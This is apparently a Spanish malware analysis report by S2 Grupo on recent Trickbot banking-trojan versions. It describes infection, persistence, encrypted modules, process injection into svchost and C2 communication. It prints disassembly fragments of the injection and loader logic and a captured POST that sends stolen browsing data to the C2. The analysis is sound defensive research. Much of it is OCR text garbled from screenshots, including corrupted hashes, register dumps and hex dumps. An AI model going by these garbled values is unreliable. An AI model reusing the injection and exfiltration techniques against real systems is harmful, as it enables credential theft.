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1. INTRODUCCION

El presente documento recoge una revision de las uUltimas versiones de una familia de

troyanos conocida como “Trickbot/TrickLoader”. Se trata de un troyano de tipo

bancario que roba credenciales y datos bancarios de los usuarios infectados. Aunque
su principal objetivo y comportamiento se centra en usuarios de banca online, al ser un
troyano modular posee capacidades que los atacantes podrian utilizar con otros fines,

como la exfiltracion de documentos.

Se puede encontrar gran cantidad de documentacién referente a la logica y origenes
de este malware; parte del presente informe se basa en informacién de algunas de
ellas con el fin de contrastarla con la l6gica de las Ultimas versiones y poder observar
su evolucion y funcionalidades nuevas. Todas las fuentes sobre las que se ha obtenido

informacion se pueden encontrar en el apartado de referencias.

Es necesario resaltar que el informe parte y se apoya principalmente en los analisis

realizados por @hasherezade y por Xiaopeng Zhang (Fortinet). A partir de dichos

analisis, se ha intentado contrastar si en las Ultimas versiones habia cambiado algun

aspecto y profundizar en los mecanismos no descritos hasta el momento.

Resumiendo, Trickbot tiene las siguientes capacidades:

@ Carga el cédigo en el sistema

Crea una réplica de si mismo en el directorio %APPDATA%
Aplica técnicas de persistencia

Recopila informacion sensible del usuario

Inyecta codigo en otras aplicaciones para controlar la informacion que manejan

Exfiltra la informacion que obtiene a su servidor de Mando y Control


https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://blog.fortinet.com/2016/12/06/deep-analysis-of-the-online-banking-botnet-trickbot

Durante la realizacién de este informe el Laboratorio de Malware de S2 Grupo ha

trabajado con las muestras que tienen las siguientes firmas MD5:

1000005_Trickbot_Loader.exe a50c5¢c844578e563b402daf19289f71f
1000005_Trickbot_bot32.exe 28661ea73413822c3b5b7de1bef0b246
1000010_Trickbot_Loader.exe 218613f0f1d2780f08e754be9e6f8c64

1000010_Trickbot_bot32.exe 135e4fa98e2ba7086133690dbd631785
1000014_Trickbot_Loader.exe e054eaae756d31a4f6e30cc74b2e51dd
1000014 _Trickbot_bot32.exe 719578c91b4985d1f955f6adb688314f
1000016_Trickbot_Loader.exe 132¢4338cdc46a0a286abf574d68e2e0
1000016_Trickbot_bot32.exe e8e7b0a8f274cad7bdaedd5a91b5164d

Como se puede ver en la imagen anterior se han analizado cuatro versiones diferentes
de Trickbot. Cada una de ellas se compone de su loader y su payload final para
sistemas de 32 bits; aunque existe también la version 64 bits de todas, no ha sido
objeto del andlisis realizado.



2. PROCESO DE INFECCION

La principal via de infeccion de este malware se produce a través de un documento de
Word con macros que llega anexado en un email o a través de una vulnerabilidad

aprovechada por un ExploitKit.
La infeccion sigue el siguiente orden de ejecucion:

® Se descarga desde un dominio comprometido una muestra de Trickbot en la
carpeta %APPDATA% y la ejecuta

® Crea una tarea programada en el sistema que le proporciona la persistencia

® Crea dos ficheros (“client_id" y "group_tag") en su mismo directorio, uno con un
ID Unico del host infectado y otro con el ID de la campafia de infeccion actual o
version de la configuracion.

® Contacta con un dominio de obtencién de IP externa, entre otras cosas para
testear la conectividad y remitirsela a sus servidores de mando y control (C2 a
partir de ahora).

® Contacta con uno de sus servidores de C2 para obtener actualizaciones del
propio malware, médulos que realizan la mayor parte de la l6gica del malware y
distintos ficheros de configuracion.

® Tras todo esto, empieza a ejecutar o inyectar en diferentes procesos sus
modulos que se encargan de recopilar informacion del sistema y credenciales

de navegacion especialmente de banca online.



3. CARACTERISTICAS TECNICAS

El ejecutable principal de Trickbot suele ir empaquetado con un “packer” propio, con
lo que se ofusca la funcionalidad del ejecutable y se evita que se puedan generar
firmas genéricas a partir del contenido del contenido del mismo, pues para cada

version el packer hace que el cédigo varie por completo.

Tras el desempaquetado se puede observar como la cantidad de funciones del
ejecutable se incrementa en gran medida, ya que ahora si refleja la funcionalidad del

programa malicioso:

Packed Unpacked

Function name Segme sub_301000 tex
[F] _vbaChkstk text sub_301050 tex
Iz _ vhaExceptHandler text sub 3D10AD tex
[7] _vbaFPException et " '

IE “adj.fdiv.m32 s sub_301000 tex
[F] _adj_fdiv_ms4 = sub_301C30 e
[F] DlIFunctionCall text sub_3D1E40 tex
Iz ThunRTMain text sub_3D1EAD tex

7] sub_40365C text sub_3D1EDOD tex

sub_3D1F40 tex
sub_3D1FD0 tex
sub_302020 tex
sub_302140 tex
sub_3021A0 tex
sub_302240 tex
sub_302260 tex
sub_302300 e
sub_302310 e
sub_3D23B0 tex
sub_302470 tex
sub_3025C0 tex
sub_3D25F0 tex
sub_302650 tex
sub_302690 tex
wiWinMain () ey
sub_3D2E90 tex
sub_3D2F40 tex
sub_303090 dex
sub_3D31B0 dex
sub_3D31E0 dex
sub_303310 dex
sub_303340 dex
sub_3D35B0 dex
sub_303720 dex
sub_303740 dex
sub_303790 dex
sub_3D3E10 dex
sub_303070 dex
sub_3D3E00 dex
sub_304050 tex
sub_304260 tex
sub_3D43B0 tex

sub_304400 tex
coh 204490 fonr

%
.
2
g
z
2
g
8
2
2
g

sub_403710 text
sub_403930 text
sub_4039C8 text
sub_403A58 text
sub_403B10 text
sub_407590 text
sub_407CED text
sub_407E30 text
sub_40C770 text
sub_40C9E0 text
sub_40CAS0 text
sub_40CD70 text
sub_40CD80 text
sub_40D760 text
sub_40D9B0 text

5 e e |

e |



https://en.wikipedia.org/wiki/Executable_compression

Tras el “unpack” lo que se obtiene es la primera etapa de este malware, conocida
como “Loader”. Este ejecutable se encarga de comprobar la arquitectura del sistema y
dependiendo de si se trata de un equipo de 32 o 64 bits carga de sus recursos el “bot”
correspondiente a dicha arquitectura. El “bot” es el ejecutable que se encarga de la

tltima etapa de infeccidn y contiene toda la I6gica basica del malware.

En las primeras versiones, los recursos que contiene el Loader eran faciimente
reconocibles ya que traian nombres descriptivos, puesto que identificaban las dos
versiones del Bot y un Loader para cargar correctamente el de 64 bits. En las ultimas
versiones han empezado a poner nombres que no son descriptivos para dificultar la

identificacion de los mismos:

V10 de Trickbot V14 de Trickbot V16 de Trickbot
a--|) RCData | L.l 4t RCData
-y IDR_XB4BOT : 0 ey AAA D r1:0
b ¢ IDR_X64LOADER : 1033 | o % BBB:D e r2:0
- ¢ IDR_X8eBOT: 0 | L.y CCC:1033T0 0 e ¢ HTML : 1033
|

Estos recursos, aunque son ficheros ejecutables (PE) vienen cifrados con el algoritmo
AES CBC, por lo que tras extraerlos aun necesitan ser descifrados o por otra parte
pueden ser extraidos de memoria tras ejecutar el Loader y esperar a que €l mismo

realice el descifrado y carga en RAM del apropiado para el host.

Tras la carga del “bot” correspondiente, éste inicia la ejecucion de la l6gica principal de

esta amenaza:

En primer lugar comprueba su localizacion en el sistema, y si no se encuentra en
%APPDATA% se copia a si mismo en esta ubicacion, inicia la ejecucién de su réplica

en esa carpeta y termina el proceso actual.

Como técnica de persistencia, utiliza tareas programadas del sistema en lugar de
claves de registro como suele ser comdn en otras muestras de malware. Versiones
anteriores de Trickbot, creaban en todos los casos una sola tarea programada a la
que llamaban “bot” y se aseguraba de que cada minuto éste era lanzado para

mantenerse en ejecucion en el sistema.

Membre Estado Desencadenadores Hora préxima ejecucion  Hora dltima ejecucion  Resultado de dltima ejecucion

(% Bot Listo Alas 0:00 todos los dias - Tras desencadenarse, repetir cada 00:01:00 durante 1 dia. ~ 06/04/2017 13:18:00 06/04,/2017 13:17:00 (OxFFFFFFFF)



En las Ultimas versiones, si es ejecutado con permisos de administrador ademas de la
tarea mencionada anteriormente, a la que ha pasado a llamar “Drives update”, crea
otra que lo ejecuta al iniciar sesion cualquier usuario, llamada

“AplicationsCheckVersion”.

Mombre Estado Desencadenadores Hora proxima gjecucion  Hora dltima gjecucion
(% Appliations... Listo Al iniciar la sesién un usuario - El desencadenador expira a las 01,/01/2020 8:00:00. MNunca
(% Drivers update Listo A las 0:00 todos los dias - Tras desencadenarse, repetir cada 00:01:00 durante 1 dia.  06/04/2017 13:15:00 Munca

Su siguiente accion consiste en comprobar si tiene todos los ficheros de configuracion

con los que trabaja habitualmente:

, Modules 17/11/2016 21:43 Carpeta de archivos
|| client_id 17/11/2016 21:54 Archive 1 KB
|| config.conf 11/04,/2017 9:41 Archive CONF 1 KB
|| group_tag 17/11/2016 21:54 Archivo 1 KB
BT Trickbot 1771172016 21:18 Aplicacion 93 KB

Si no da con ellos, los genera a partir de informacion que obtiene en el sistema y de
los recursos del “bot”, los cuales consisten en un fichero de configuracion cifrado

(CONFIG) y una clave para verificar la firma de la configuracion y modulos (KEY).

En este caso no se han observado cambios en los nombres de estos recursos hasta la
fecha, aunque es probable que en proximas iteraciones veamos cémo eliminan estos

nombres al igual que en el caso de los recursos del Loader.

En la primera ejecucién de Trickbot en el equipo genera un fichero llamado “client_id”

que contiene un token o ID de usuario, que identifica al host actual.

USER-P B4D34878BD55002E62




La configuracion de Trickbot la obtiene o de un fichero en disco con el nombre
config.conf o de los resources (formato PE) del propio binario. Esta configuracién
estard cifrada, y tras su descifrado se puede observar que contiene la version del
propio malware, un cédigo de campafa o version de la configuracion, las direcciones
de varios de sus C2 principales, y la lista de mddulos que debe descargar y ejecutar

de forma automatica desde alguno de sus C2.

<module name feminfo" ctl="GetSystemInfo"/>
<module name /

Tras la obtencion de estos datos crea un fichero més al que llama “group_tag” donde
almacena el codigo que se puede encontrar entre las etiquetas “gtag” de la

configuracion.

Posteriormente comprueba la conectividad realizando una peticibn a un dominio
externo que le reporta la direccién IP de la victima de entre una lista que contiene el
malware y que han ido incrementando durante las diferentes actualizaciones de

version.

Version 7

UNLLUUE Hy “IPp.dIYSTLIIELS 3

dd offset aMyexternalip_c ; DATA XREF: sub 1D6F6B+6ATE
; "myexternalip.com”

dd offset afApi_ipify org ; "api.ipify.org”

dd offset alcanhazip_com ; "icanhazip.com”

dd offset aBot_whatismyip ; “bot.whatismyipaddress.com”

dd offset alp_anysrc_net ; “"ip.anysrc.net”



Version 14

dd offset aCheckip_amazon ; DATA XREF: sub 3D95BO+4BTr
; "checkip.amazonaws.com”

dd offset alpecho_net_B ; "ipecho.net™

dd offset alpinfo_io_ B ; "ipinfo.io"

dd offset afpi_ipify or_@ ; "api.ipify.org”

dd offset alcanhazip_co_ @ ; "icanhazip.com”

dd offset alyexternalip_ 8 ; "myexternalip.com”

dd offset altfismyip_co 8 ; "wifismyip.com™

dd offset alp_anysrc_ne_ @ ; "ip.anysrc.net”

Si recibe la respuesta que espera de esta peticion, empieza a contactar con los C2
gue ha obtenido de su configuracion para empezar a reportar informacion de la nueva
victima, buscar actualizaciones y recibir nuevos mdédulos que amplien sus

capacidades.

En configuraciones normales, tras realizar ciertas peticiones con distintas érdenes que
reportan informacion del host a alguno de los C2 de su configuracion, obtiene la IP de

un servidor concreto del cual puede descargar los modulos a través del puerto 447/tcp.

Todas las descargas de configuraciones y médulos vienen cifradas con el mismo
algoritmo (AES CBC) y todos los ficheros se guardan en disco cifrados. Tras actualizar
y descargar las configuraciones y médulos que tiene en la configuracién, descifra y
mapea en la memoria del propio proceso el primer modulo, “systeminfo”, el cual se
encarga de recopilar del sistema informacion como la version del SO, el tipo de CPU,
la cantidad de RAM, los usuarios del sistema y la lista de programas y servicios

instalados:

=systeminfos=
=general=
<ps=Microsoft Windows 7 Professiocnal Serwvice Pack 1 32 bits</os=
=cpu=Intel (R} Core(TM] 13</cpu=

=ram=3,41 GB=/ram=

=/general=

<users=

<user=Administrador=/user=

<user>Invitado</user=

<=user=jhon=/user=

=/lUSers=

<installed=

<program=7-Zip 16.04</program=

=program=AddressBook=/program=

=program=Adobe Flash Player 17 ActiveX</program=

=program=Adobe Flash Player 17 NPAPL=/programs=
=program=Connection Manager</programs=
=program=D1rectDrawEx=</program=
<program=D¥M _Runtime=/programs=
<program=Fontcore</program=
<program=IE4C=/program=
=program=IE4Data</program=
<program=IESBAKEX=/programs=
<program=IEData</program=
<program=Mobile0ptionPack=/program=
=program=MPlayer2</program=



<service=.NET CLR Data</service=

<service=.NET CLR Networking</service=
<service=.NET CLR Networking 4.0.0.0</services=
<service=.NET Data Provider for Oracle</service=
<service=.NET Data Provider for SglServer</service=
<service=.NET Memory Cache 4.0=/service=
<service=.NETFramework</service=

<service=1394 OHCI Compliant Host Controller=/services
<service>Controlador Microsoft ACPI</service=
<service=ACPI Power Meter Driver</services
<service=Adobe Acrobat Update Service=/service=
<service=adp94xx</services=
<service=adpahclie/services

Posteriormente carga el modulo injectDII32 junto con sus ficheros de configuracion:

J injectD32_configs 7/11/2016 21:43 Carpeta de archivos
|| injectDl32 30/03/2017 11:06 Archivo 512 KB
|| systeminfo32 30/03,2017 11:06 Archivo 22 KB
| dimj 30/03/2017 11:06 Archivo 41 KB

|| dpost 30/03/2017 11:06 Archivo 1KB
L] sinj 30/03/2017 11:06 Archivo 23 KB

Una vez cargado este mdédulo, en el caso de que el usuario visite una de las webs
listadas en los ficheros de configuracion (como por ejemplo, *cey-
ebanking.com/CLKCCM/*) de este mddulo, captura los datos relevantes de

navegacion y los envia a sus C2:

POST /pre7, )2B2/60/ HTTP/1.1

Accept: */*

User- Agent: Mozilla/4.8 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC
6.0; TrfaDath 3+ NFTA QC; (NET4.0E; Tablet PC 2.0

Hos-

Connection: close

Content-Type: multipart/form-data; boundary=--------- JHFBUY JHBODCCZHU

Content-Length: 2384

rrrrrrrrrrr JHFBUY JHBODECZHU
Content-Disposition: form-data; name="data"

POST /_wti bin/Lists.asmx HTTP/1.1

Host: www .com

Connectlon. nesp-a.lve

Content-Length: 698

Accept: applicatior#vml  +avt/xml, */*; g=0.01

Origin: https://wwu :.com

X-Reguested-with: XmLnttprequest

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecke) Chrome/45.0.2454.101 Safari/S37.36
Content-Type: text/xml:charset='UTF-8'

Referer: https://www .com/pages/default.aspx

Accept-Encoding: gzip, ue:.ace

Accept-lLanguage: es-ES,es;q=0

Cookie: TLTSID= SCEE02641ECD101EOOSAE35B698C7673 TLTUID=5CEE02641ECD1O1EOOSAE3BBEOBCTE73; cmTPSet=Y; CMAVID=none; _ga=GAl.2.479686626.1491918949; _gat=l

<soap:Envelope xmlns:xsi='http://www.w3.org/2001/XM Schema-instance' xmlns:xsd="http://www.w3.0rg/2001/XM Schema' xmlns:soap='http://schemas.xmlsoap.org/soap/
envelope/'><soap:Body><GetListItems xmlns='http://schemas.micresoft.com/sharepeint/soap,/' ><listName>PhotoGallery</1istName><viewName></
wiewName><query><quary><where><Eq><FieldRef Name='BaseName'/><Value Type='Text'>04-11-2017.]jpg</Value></Eq=</Whare></Quary></
query><viewFlelds><ViewFlelds><FieldRef Name='Title'/><FieldRef Mame='Custemer_x0020_name'/><FieldRef Name='Photo_x0020_Location' /)(/VlewFlelds></
u1ewFlelds><rowL1m1t>1</rolem1t><queryoptlons><oueryopt1ons></oueryopt1ons></queryopt1ons></setL1stltems></soap Body=</soap: Envelupe> ~13
[ <soap:Envelope xmlns:xsi='http://www.w3.0rg/2001/XM Schema-1nstance' xmlns:xsd='http://www.w3.0rg/2001/XM Schema' xmlns:soap='htt|
schemas.xmlsoap.org/soap/envelope/ ' ><soap:Body><GetlListItems xmlns='http://schemas.microsoft.com/sharepoint/soap/' ><115tName>PhutuGallery</11stName><v1ewName></
wiewName><query><query><where><Eq><FieldRef Mame='BaseName'/><Value Type='Text'>04-11-2017.]jpg</Value></Eq></Where></Quary></
query><yiewFields><ViewFields><FieldRef Name='Title'/><FieldRef Name='Customer_x0020_name'/><FieldRef Name='Photo_x0020_Location'/></ViewFields></
wiewFields><rowlimit>1</rowlim t><queryOptions><QueryOptions></QueryOptions></query0ptions=</GetlistItems=></soap:Body=</soap:Envelope>

----------- JHFBUY JHBODCCZHU

Content-Disposition: form-data; name="keys"

rrrrrrrrrrr JHFBUY JHBODCEZHU
Content-Disposition: form-data; name="link®

https: / /www .com/_vti_bin/Lists.asmx
----------- JHFBUY JHBUDCCZHU- -



Tal y como se analiza en el informe de DevCentral, en la version 9 de trickbot, le
afadieron un nuevo modulo al toolset de Trickbot llamado “mailsearcher”. Entonces
en el caso de estar en la configuracion también se cargara en el sistema victima. El

orden en el que se cargan los médulos dependera del fichero de configuracion.

“‘mailsearcher” se encarga de recorrer todos los ficheros de cada disco conectado al

sistema y comparar las extensiones de los ficheros con la siguiente lista:

; avir
dd offset aMow : ""mowt
dd offset aMku ; "mku
dd offset allpeg ; "mpeg"
dd offset alpegh ; 'mpeghtt
dd offset aliph ; 'mph4tt
dd offset aMp3 ; 'mp3T
dd offset allav ; waut
dd offset algg ; "ogg”
dd offset aJdpeqg ; "ipeg”
dd offset aJdpg ; "ipg”
dd offset aPng : “png"”
dd offset aBmp ; "bmp*
dd offset aGif ; gif”
dd offset aTiff ; Eiffe
dd offset alco ; "ico"
dd offset aklsx ; DATA XREF:

; "mlsx™
dd A ; DATA XREF:
dd offset aDocx ; "docx"
align 18h
dd offset azip ; zip”

Este médulo reporta por si mismo a un C2 especifico que obtiene de su propia

configuracion:

La URI de la peticion es distinta a la utilizada por el “core” de Trickbot, pues en este
caso tiene la estructura “[IP]/[group_id]/[client_id]/send/” y utiliza su propio User-Agent
“KEFIR!” lo que lo hace mucho mas independiente que el resto de mddulos

encontrados hasta la fecha.

Lo visto en este apartado describe las acciones realizadas por Trickbot tras su
primera ejecucion. A partir de este instante Trickbot entra en un bucle donde cada
cierto tiempo comprueba si existe una nueva configuracion y si existen nuevas
versiones del malware o de alguno de los modulos. Ademas, dentro de ese mismo

bucle realiza reportes con la informacién que va recopilando.


https://devcentral.f5.com/articles/is-xmaker-the-new-trickloader-2437

4. SISTEMA DE CARGA DE MODULQOS

Durante el analisis se ha observado que Trickbot utiliza eventos para controlar los
flujos de ejecucion entre el core y los modulos. Ademas, el core realiza la resolucion
de las APIs de Windows de los modulos. Vamos a ver como funciona este sistema de

comunicacion del core con los médulos.

En primer lugar crea un proceso hijo svchost.exe suspendido con la funcién

CreateProcessW:
Ll =]
1lea edx, [ebp+ProcessInformation]
push edx ;: 1pProcessInformation
1ea eax, [ebp+Startuplnfo]
push eax ; 1pStartuplInfo
push 8 ;: lpCurrentDirectory
push ] ; 1pEnvironment
push 4 ; duCreationFlags
push a ; bInheritHandles
push a ;: 1pThreadattributes
push a ;: 1pProcessattributes
push ebx ; lpCommandLine
push ] ; lpApplicationHame
call dsiCreateProcessi
test eax, eax
jz short loc_ 3DEB8S

a = 1000014_win32_Unpa... 2832

Posteriormente con la funcién CreateEventW, crea tres eventos que utilizara para
gestionar las esperas y comunicaciones entre el ejecutable principal (Trickbot) y el

proceso svchost hijo.



add

push
push
push
push
moy

call
push
push
push
push
mou

call
push
push
push
push
mou

call
mou

Una vez tiene

esp, utn
esi
esi
esi

esi

esi
a
a
a
a

» lpHame

bInitialState

; bManualReset
: lpEventattributes
esi, ds:CreateEventl

; CreateEventW

; lpHame

bInitialState

; bManualReset
; lpEventattributes

[edi+6Ch], eax

esi
a
1
1
a

s CreateEventW

; lpHame

bInitialState

; bHManualReset
: lpEventattributes

[edi+7Bh], eax

esi

s CreateEventW

ecx, [ebp+hThread]

los handlers de

los tres eventos,

utilizando VirtualAllocEx vy

WriteProcessMemory inyecta en el proceso svchost suspendido 32 Bytes de datos

como los siguientes:

OAAYAAAA [p4 AA GO AA

6C_ 60 668 68

4 FE 18 77

goao@eie (36 11 BF 77

18 14 oF 77|

DD 16 OF 77|

10 7a OF 77| 6..w...w!. . w.z.u

Los tres primeros grupos de 4 Bytes (en recuadros rojos) representan los

identificadores de los eventos que ha creado trickbot anteriormente y que va a utilizar

para su comunicacion, en este caso 4, 8 y C respectivamente.

Los siguientes 5 grupos de 4 Bytes (en recuadros morados) representan los offsets en

la propia memoria del proceso svchost, de las siguientes funciones de la libreria

kernel32.dIl:

CloseHandle

ExitProcess

ResetEvent

SignalObjectAndWait
WaitForSingleObject

Utilizando el mismo método de inyeccion, carga una funcion propia en otro offset de la

memoria de svchost que se encargara de hacer de intermediaria entre Trickbot y el

cédigo del médulo.
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Lac_ancss:

Esta funcién es uno de los detalles mas caracteristicos de la gestién de médulos del

Trickbot.

Se encarga de mantenerse a la espera de 6rdenes del proceso principal. Estas llegan
en forma de offsets de funciones dentro de la memoria del propio proceso svchost y
parametros con los que las debe llamar; dicha informacion la obtiene a través de
escrituras en su propia memoria por parte de Trickbot como la que se ha detallado en

el caso anterior.

La mayor parte de su logica consiste en un bucle que empieza y acaba en las zonas

de cddigo con fondo ; tras las primeras instrucciones, en caso de detectar algun



problema con el proceso, entra en la zona marcada en rojo que cierra los handlers de

los eventos y el propio proceso.

En caso de que todo vaya correctamente, la zona en la que entra consiste en un
switch, marcado en verde. Dependiendo de la cantidad de pardmetros que necesite la

funcion a la que debe llamar, entra en una de las zonas en blanco.

En caso de la siguiente captura, si el nimero de parametros (que tiene cargados en
edx) coincide con 9, entra en una zona con nueve llamadas a “push edx” con las que
va cargando parametros en la pila extraidos de offsets consecutivos posteriores a eax;
por ultimo realiza una llamada a ecx, donde ha cargado el primer offset de eax en la

cuarta instruccion de esta zona y que se corresponde con la posicién de una funcién.

h J
i =
loc_3DCC18:
cnp edx, 9
jnz short loc_3DCCS54
w
I

edx, [eax+28h

edx, [eax+24h]
ecx, [eax

edx, [eax+206h
edx, [eax+1Ch
edx, [eax+18h
edx, [eax+14h

edx, [eax+16h

edx, [eax+0Ch]
eax, [eax+8

mov [esi+hih], eax
nov ecx, 1
jmp short loc_3DCC54

En la préxima captura se puede observar un ejemplo de llamada a una funcién como

esta y el estado de los registros durante la ejecucion.

Para gestionar las esperas entre el proceso padre e hijo, Trickbot utiliza los eventos

que crea antes de las inyecciones en los procesos.

Valiéndose de estos eventos, cuando llega a la ultima zona del bucle (en la captura
anterior marcada con fondo en ) contiene dos llamadas que corresponden a un

ResetEvent que notifica a Trickbot que ha llegado al final del bucle:



debug 886 : 0808B00F7 mov
debug @86 : 088808FA mov
debug 886 :888800FD push
debug 886 : 808800FE mov
debug@86: 888881085 call
debug 886 : 00080107 mov
debug 886 : 00080104 mov
debug 886 :88836818C mowv
debug 886 :88880108F push
debuq886:88880111 push
debug886:88888113 push
debug886:88880114 push
debuqg@86:088880115 call
debugB86: 8808117 jmp

[esi+48h], ecx ~||EAx 8080800 .

ecxs esi+h] EBX 7EFDEGBA & debugBi6:7EFDEGRA
dwl:ll‘t!\:j:ltl‘ [esi+20n], O ECX 00000008 % ID del evento para notificar a Trickbot
edx DX 77BF16DD % kernel32._dll:kernel32 ResetEvent
eax, [esi+i] ESI 808D B660 &% debugif?:unk_DBOAA

ecx, [esi] EDI 66080800 .

Ed*' [esi+8Ch] EBP DB16FAFC & Stack[OBOBBEER]:AB16FAFC
e ESP B016FAFY & Stack[BOOBBEEG]:BO16FAFY
. EIP 00680105 v debug0B6: 60080165

ecx EFL 800800293

edx

loc_880087

Y una llamada posterior a SignalObjectAndWait, al que le pasa los IDs de dos eventos.

Esta funcién deja el proceso suspendido a la espera de que Trickbot haga un

ResetEvent del evento en este caso con ID 4, que implica que ha cargado en memoria

los nuevos parametros para la préxima iteracion del bucle:

debug 886 : 6888811C ;

debug 886 - 08088 0BF7 mouw
debugB86 : ABBBEBFA mov
debuq @86 : 0888 BAFD push
debugB86 - BBA8 BBFE mouw
debugB86 : ABBB6E165 call
debuqgBas : 00080107 mov
debugB86 - 88A8 81684 mow
debugB86 : 9868 616C mov
debuq 886 : 8888 816F push
debug 886 : 88888111 push
debugB86: 08886113 push
debug 886 : 88888114 push
debug 886 : 88888115 call
debugB86:00080117 jmp

[esi+u8h], ecx « +EAX 000000868 -
ecx, [esi+h]
ecx

ECX 000008,

EBX 7EFDEGBA % debugB16:7EFDEBBA

|__ IDs de Eventos

dword ptr [esi+2B8h],
edx

[esi+4]
EDI a0B0BA6E w

EFL 88866282
edx
loc_868867

ESI 800DAAAA % debugbd?:unk_Dasoa

EDX 7710F8A4 & kernel32.dll:kernel32 SignalObjectAndWait

EBP BB16FAFC % Stack[ BAOBBEEB] :8@16FAFC
ESP BB16FAES % Stack[ BGOBOEEG] :BA16FAES
EIP 80888115 % debugB86: 80886115

Antes de iniciar la ejecucién de todo este proceso, inyecta en el Entry Point de

svchost, cuatro lineas que redirigen el flujo del hilo principal a la funcién anterior,

pasandole como parametro, los 32 bytes de datos inyectados al principio:

188252184
(88252184
188252185
‘88252180
188252168
(88252114
188252114
188252115
(88252117
(B825211A
188252124
188252123
'BB252126

e ek el

|;l:l|:l eax Offset de los datos inyectados
push offset m

push edx Offset de la funcion inyectada
jmp  near ptr

call loc_ 251D8A

®0Or ebx, ebx

mou [ebp+var 4], ebx

mouv eax, large fs:18h

mou esi, [eax+h]

mov [ebp+var_ 1C], eb=x

mou edi, offset unk 255888

Tras preparar todo eso, llama a ResumeThread y el proceso entra en ejecucion.



Durante las primeras iteraciones del bucle, Trickbot mapea uno de los médulos en la

memoria del proceso, seccion a seccion:

[P T cou s tawe D e o 1 - -

4 0x10000000 Private 532kB  RWX 532 kB 532 kB

0x 10000000 Private: Commit 4k R Modulo mapeado en 4kB 4kB

0y 10001000 Pr?vate: Cnmm?t 72kB RX memoria por 72kB 72kB

0x 10013000 Private: Commit 2BkE R . 28 kB 28 kB

secciones

0x 10012000 Private: Commit 416 kB RW 416 kB 416 kB

0x 10032000 Private: Commit 12kB R 12 kB 12 kB

kB

suchost.exe (2172) (0510000000 - 0x10001000} =N EEh == R

Cabecera MZ del modulo.. 12 kB

0000000 44 5=z 90 00 03 00 00 00 04 00 OO0 00 ££ £€ 00 00 MZ. ... eennunnnnn - 3 kB
0000010 k& 00 00 00 00 00 00 00 40 00 OO0 00 00 00 00 00 weueewn.. [ [

0000020 00 00 00 00 OO0 00 00 00 00 OO0 OO0 00 00 00 00 00 weeeweeennnnanas = 8kB

0000030 00 00 00 00 00 00 00 00 00 OO0 OO0 00 £0 00 00 00 weeeweeennnnanas 8kB

0000040 Oe 1f ba Oe 00 b4 09 cd 21 bE 01 4c cd 21 54 688 ........ '..L.!'Th 8kB

0000050 &9 73 20 70 72 &L &7 72 &1 &4 20 &3 €1 &e e 6f i3 program cannc 8 kB

0000060 74 20 62 65 20 72 75 6e 20 69 fe 20 44 4f 53 20 © be run in DOS Da kB

0000070 6d &f 64 &5 2e 04 O4d 0Oz 24 00 00 00 00 00 00 00 mode....5.cceuan

0000080 28 43 45 &f 6c 22 2b 3c 6c 22 2b 3c 6c 22 2b 3c (CEol™+<1"+<1"+< -

0000090 61 70 ca 3c 47 22 2b 3c 61 70 £4 3c 76 22 2b 3c ap.<G"+<ap.<vU+L -

00000a0 &1 70 ck 3c 19 22 2k 3c bl dd =0 3c 65 22 2b 3c ap.<."+<...<e"+ r

En la siguiente iteracion, sirviéndose de los datos que le ha pasado el proceso padre,
carga con LoadLibrary todas las DLL que requiere el modulo recién cargado y con

GetProcAddress las funciones de éstas que va a necesitar.

Por dltimo llama a una funcién de inicializacion del propio mdédulo, la cual escribe en
una de las zonas de memoria editadas por Trickbot la cadena “Success” en caso de

que todo esté correcto.

4 0x30000 Private 4kE RWX
030000 Private: Commit 4kE RWX

# | svchost.exe (1136) (0x30000 - 0x31000]

Qooaooao ES 75 63 &3 &5 73 73 00 00 00 00 00 08 00 07 Of SUCCE33.ssussans

00000010 00 00 43 02 38 ee 43 02 00 00 OO0 OO0 30 04 04 30 ..C.E8.C..... 0..0
00000020 £8 03 00 00 &0 94 43 02 al £ 2 00 00 00 43 02 .... .Ciunnnn. C.

A partir de este punto, esta Ultima iteracion queda suspendida con la llamada a
SignalObjectAndWait, a la espera de que Trickbot requiera, por ejemplo, de la

informacion de reporting de dicho médulo.

Desde el lado del proceso principal, se puede observar como éste contiene una
funcion para llamar a las distintas funciones que exportan cada uno de sus modulos.
Estas funciones son las que exporta cada médulo, ya que los modulos son DLL’s y

como tal exportan funciones para ser utilizadas por el core. Hasta la fecha no han



cambiado estas funciones en ninguna de las versiones y estas son Start, Control,

Freebuffer y Release.

[Heai F2

QOIDEZBC now
AAEDEZAF add
BEIDEZCE now
QOIDE2CS now
GAEDEZCT add
BEZDB2CH Lest
QO3DEZCE jnz

eax, [ebpruar_38]
eax, b
[ebpsvar_38], eax
eak, [eax]

ebx, &

BaK, eax

short loc_3DB261

QO30EIBL

BAZDEARY loc_SDH3HRE:

edx, [ebpruar S@]
edi, [edxreaxsi]

GAIDEIEZ P
QOZDEIES now
AOZDEARE push

w5
Qa20BI8Y call Sub_JDBARD

BAZDEIRE now edi, eax

B puzh offset aStart_@
QUIDEAFS push edi
@BZDRIVG call ds:1stronph
BAZDRAIC test raK, BaN

OOIDEITE inz short 1oc_3DBIAD

BAZDEINE loc_3DBING:
aa20EIAN pl.lsl

"_l

offset atontrol_ I

OOIDEIRD push edi
BOZDEIE1 call ds:lstroapa
@a30B3IBT rest Bax, eax

QO3DEIRY jnz

short loc_ 3DBICE

“Eontrol®

: 1pstringl

3C:
BOZDBICH Loc_3DH3
BE3DBACE pl.lsli
BOIDBEICHE push
BHEDBACE call
GE30BAD2 Lest
BDOIDBINE jnz

Gz ; [FFreeBuffer
offset aFreebuffe
edi : 1pStringl
ds:zlstrcnpR

eax, eax

sl‘llrt loc_3DEIET

BOIDEIET
@AEDEIET loc_3DHIET: “Release”]
@E30BIET pl.lsl oFfFset alelease_| I

DOIDEIEG push edi : 1pstringl
BAZDBIET call ds:lstronp
@E3DBIED Lest eax, eax

QOIDEIEF inz

—

short loc_3DE3FA

[ e F2

ebk, [ebpruar 8]
[esisfih], ebx
short loc_3DB3AFA|

i (]
BAFA| (003DEIARA add
BEZDEING now

ABIDBINY fnp

QOIPBIEE add
AOZDBIBE nov

ebx, [ebpruar a]
[esisffin], ehx

bk,

